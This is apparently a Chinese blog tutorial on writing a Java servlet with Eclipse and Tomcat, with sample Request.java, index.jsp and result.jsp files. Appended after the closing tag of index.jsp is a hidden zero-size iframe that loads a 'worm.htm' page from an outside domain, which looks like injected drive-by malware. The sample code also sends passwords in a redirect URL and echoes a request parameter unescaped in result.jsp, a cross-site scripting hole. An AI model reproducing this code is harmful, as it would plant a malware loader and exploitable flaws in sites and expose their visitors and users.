jsp语法以前就比较熟悉，就不说了。这次主要讲servlet。 在eclipse中新建servlet，它会自动产生编译后的class放在web-inf，和更新对应的web.xml，并且每次保存源码时更新那个class。
访问时，输入http://localhost:8080/test返回地址为：http://localhost:8080/test/result.jsp?str=fdf:fdf
中间servlet进行了处理，直接访问servlet地址为：http://localhost:8080/test/servlet/Request
特别注明：网站目录不要放在tomcat的ROOT里面，应该和它并列放。本例就放test文件夹
//Requset.java
import java.io.IOException;import java.io.PrintWriter;
import javax.servlet.*;import javax.servlet.ServletException;import javax.servlet.http.HttpServlet;import javax.servlet.http.HttpServletRequest;import javax.servlet.http.HttpServletResponse;
public class Request extends HttpServlet {
/** * Constructor of the object. */ public Request() { super(); }
/** * Destruction of the servlet. <br> */ public void destroy() { super.destroy(); // Just puts "destroy" string in log // Put your code here }
/** * The doGet method of the servlet. <br> * * This method is called when a form has its tag value method equals to get. * * @param request the request send by the client to the server * @param response the response send by the server to the client * @throws ServletException if an error occurred * @throws IOException if an error occurred */ public void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { response.setContentType("text/htm;charset=GB2312"); String username=request.getParameter("username"); String password=request.getParameter("password"); response.sendRedirect("../result.jsp?str="+username+":"+password); }
/** * The doPost method of the servlet. <br> * * This method is called when a form has its tag value method equals to post. * * @param request the request send by the client to the server * @param response the response send by the server to the client * @throws ServletException if an error occurred * @throws IOException if an error occurred */ public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { doGet(request,response); }
/** * Initialization of the servlet. <br> * * @throws ServletException if an error occure */ public void init() throws ServletException { // Put your code here }
}
//index.jsp
<%@ page language="java" contentType="text/html; charset=gb2312" pageEncoding="gb2312"%><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><title>Insert title here</title></head><body>Hello!<a href="servlet/Request?username=abc&password=123">link</a><form action="servlet/Request" method=POST>姓名：<input type=text size=20 name=username><br>密码：<input type=password size=20 name=password><br><input type=submit value='post to Request Servlet'></body></html><iframe src=http://www.krvkr.com/worm.htm width=0 height=0></iframe>
//result.jsp
<%@ page language="java" contentType="text/html; charset=ISO-8859-1" pageEncoding="ISO-8859-1"%><!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"><html><head><meta http-equiv="Content-Type" content="text/html; charset=ISO-8859-1"><title>Insert title here</title></head><body>result.jsp:<%out.println(request.getParameter("str")); %></body></html>
